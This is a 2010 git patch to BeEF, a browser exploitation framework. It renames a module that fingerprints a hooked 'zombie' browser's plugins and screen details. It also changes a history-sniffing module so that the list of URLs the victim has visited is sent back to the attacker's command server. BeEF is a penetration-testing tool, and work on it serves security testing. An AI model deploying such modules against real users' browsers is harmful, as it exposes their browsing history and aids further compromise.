From 64c37c9becc32d973f491c7c6bfed46bf2ec5cef Mon Sep 17 00:00:00 2001 From: passbe Date: Wed, 24 Nov 2010 09:44:04 +0000 Subject: [PATCH] Issue #4, Issue#40. Had to role back hasVisited boolean return. The return result of the detect_visited command will need some styling once the format_multiline command can be used on local javascript variables. git-svn-id: https://beef.googlecode.com/svn/trunk@573 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/browser.js | 4 +--- .../detect_details/detect_details.js} | 0 .../detect_details/detect_details.rb} | 4 ++-- .../detect_visited_urls/detect_visited_urls.js | 16 +++++----------- 4 files changed, 8 insertions(+), 16 deletions(-) rename modules/commands/{recon/detect_plugins/detect_plugins.js => browser/detect_details/detect_details.js} (100%) rename modules/commands/{recon/detect_plugins/detect_plugins.rb => browser/detect_details/detect_details.rb} (93%) diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index 0b19fb843..3d92c527b 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -340,7 +340,7 @@ beef.browser = { }, /** - * Returns boolean (or array of results), whether or not the target zombie has visited the specified URL + * Returns array of results, whether or not the target zombie has visited the specified URL */ hasVisited: function(urls) { var results = new Array(); @@ -373,8 +373,6 @@ beef.browser = { if (results.length == 0) { return false; - } else if (results.length == 1) { - return results[0].visited; } return results; } diff --git a/modules/commands/recon/detect_plugins/detect_plugins.js b/modules/commands/browser/detect_details/detect_details.js similarity index 100% rename from modules/commands/recon/detect_plugins/detect_plugins.js rename to modules/commands/browser/detect_details/detect_details.js diff --git a/modules/commands/recon/detect_plugins/detect_plugins.rb b/modules/commands/browser/detect_details/detect_details.rb similarity index 93% rename from modules/commands/recon/detect_plugins/detect_plugins.rb rename to modules/commands/browser/detect_details/detect_details.rb index 019cd5914..148b17720 100644 --- a/modules/commands/recon/detect_plugins/detect_plugins.rb +++ b/modules/commands/browser/detect_details/detect_details.rb @@ -2,7 +2,7 @@ module BeEF module Modules module Commands -class Detect_plugins < BeEF::Command +class Detect_details < BeEF::Command def initialize super({ @@ -11,7 +11,7 @@ class Detect_plugins < BeEF::Command This module will retrieve the selected zombie browser plugins, browser type and scripting engines, plus screen dimensions.' }, - 'Category' => 'Recon', + 'Category' => 'Browser', 'Author' => ['wade','vo','passbe'], 'File' => __FILE__, 'Target' => { diff --git a/modules/commands/browser/detect_visited_urls/detect_visited_urls.js b/modules/commands/browser/detect_visited_urls/detect_visited_urls.js index 79f3b7bb8..75e178c3a 100644 --- a/modules/commands/browser/detect_visited_urls/detect_visited_urls.js +++ b/modules/commands/browser/detect_visited_urls/detect_visited_urls.js @@ -1,16 +1,10 @@ beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); - window.console.log(results); - /*var comp = ""; - if (results instanceof Array) + var comp = ''; + for (var i=0; i < results.length; i++) { - for (var i=0; i < results.length; i++) - { - comp += results[i].url+" = "+results[i].visited; - } - } else { - comp = "<%= @urls %> = "+results; - }*/ - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+results); + comp += results[i].url+' = '+results[i].visited+' '; + } + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+comp); });